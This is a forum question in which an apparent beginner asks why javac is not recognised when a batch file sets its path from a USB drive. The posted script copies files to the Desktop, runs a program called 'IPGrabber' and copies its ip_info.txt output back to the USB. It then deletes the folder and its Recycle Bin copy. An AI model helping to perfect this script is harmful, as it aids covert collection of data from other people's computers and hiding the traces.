I am a beginner at batch file coding and have some experience with the command prompt. I was looking up how to run a java program from a batch file and noticed that I needed to make a path so it could compile and run. What is weird is that when i make the path, compile and run the code, it says that the javac isn't an internal or external command. Can someone explain to me if there is a way that I can make a path using a USB? The intention of my code is to copy over to the desktop,then run the program, and finally return the outputted program file. I want to be able to run this on any windows computer. Here is my code. Thanks. I have tried almost everything.
@echo off
cd /d C:\Users\%username%\Desktop
mkdir HackerMan
echo d | xcopy /d /s %~d0 C:\Users\%username%\Desktop\HackerMan
cd /d C:\Users\%username%\Desktop\HackerMan\ProgramFiles
set path = "C:\Users\%username%\Desktop\HackerMan\ProgramFiles\Java\bin"
javac IPGrabber.java
java IPGrabber
copy /y C:\Users\%username%\Desktop\HackerMan\ProgramFiles\ip_info.txt %~d0\IPs\ip_info.txt
cd /d C:\Users\%username%\Desktop
rmdir /s /q HackerMan
rmdir /s /q C:\$Recycle.Bin\HackerMan